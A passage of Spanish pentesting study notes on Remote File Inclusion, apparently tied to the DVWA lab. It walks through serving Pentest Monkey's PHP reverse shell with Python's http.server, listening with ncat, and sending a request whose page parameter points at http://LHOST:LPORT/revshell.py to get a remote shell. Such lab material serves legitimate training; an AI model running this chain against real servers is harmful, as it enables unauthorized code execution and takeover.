> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/pentesting/pentesting-web/remote-file-inclusion-rfi.md).

# REMOTE FILE INCLUSION (RFI)

## ¿QUÉ ES?

Técnica para incluir ficheros externos/remotos al servidor.

Hacer que el servidor víctima descargue e incluya ficheros de un host remoto para la ejecución de código arbitrario o la descarga de malware.

***

## SCRIPT

SCRIPT EN PHP QUE ES UNA REVERSE SHELL

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FNW2N3TwsVBw3U7Elm6vK%2Fimagen.png?alt=media&amp;token=373d395e-5a26-4142-b412-b6cbf910dc01" alt=""><figcaption></figcaption></figure>

***

## EJEMPLO

POSIBLE CAMPO VULNERABLE

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FmCuLbkTvP0xkou7saLYt%2Fimagen.png?alt=media&amp;token=3657372b-e596-454d-a8ed-484875c2d337" alt=""><figcaption></figcaption></figure>

RFI

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FJUFJ3wd07SxJLOK4F6qV%2Fimagen.png?alt=media&amp;token=f56fde66-d954-49f6-adb0-40b318076bee" alt=""><figcaption></figcaption></figure>

***

## OJO

EN OCASIONES EL MISMO CÓDGIO QUE ES VULNERABLE A LFI TAMBIÉN PUEDE SER VULNERABLE A RFI.

***

## LABORATORIO

Dificultad en Low.

Sección File Inclusion

{% embed url="<https://tryhackme.com/room/dvwa>" %}

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FNDL2Cq8docg8qY6JWRRi%2Fimagen.png?alt=media&amp;token=43171bec-af42-4736-a903-4b7c90cbdde1" alt=""><figcaption></figcaption></figure>

## REVERSE SHELL

{% embed url="<https://indetectables.net/landing/tools/reverse-shell-generator.html>" %}

Usaremos la reverse shell de Pentest Monkey para PHP, porque DVWA interpreta PHP. Y configuramos la IP y el Puerto.

{% embed url="<https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>" %}

## SERVIDOR REMOTO

Con el módulo de Python2 o Python3 levantamos un servidor web simple.

{% code title="revshell.py" %}

```python
python2 -m SimpleHTTPServer
```

{% endcode %}

{% code title="revshell.py" %}

```python
python3 -m http.server [port:default=8000]
```

{% endcode %}

## PONERSE A LA ESCUCHA

Con ncat en el puerto especificado en la reverse shell.

```bash
ncat -lnvp [port]
```

## RFI

```
https://website.com/fi/?page=http://LHOST:LPORT/revshell.py
```

Al envíar la peticion el sitio web se quedara cargando, lo que significará que hemos obtenido la shell reversa exitosamente.

***

[TRATAMIENTO DE LA TTY](/b4zh/pentesting/antes-del-pentesting/tratamiento-de-la-tty.md)
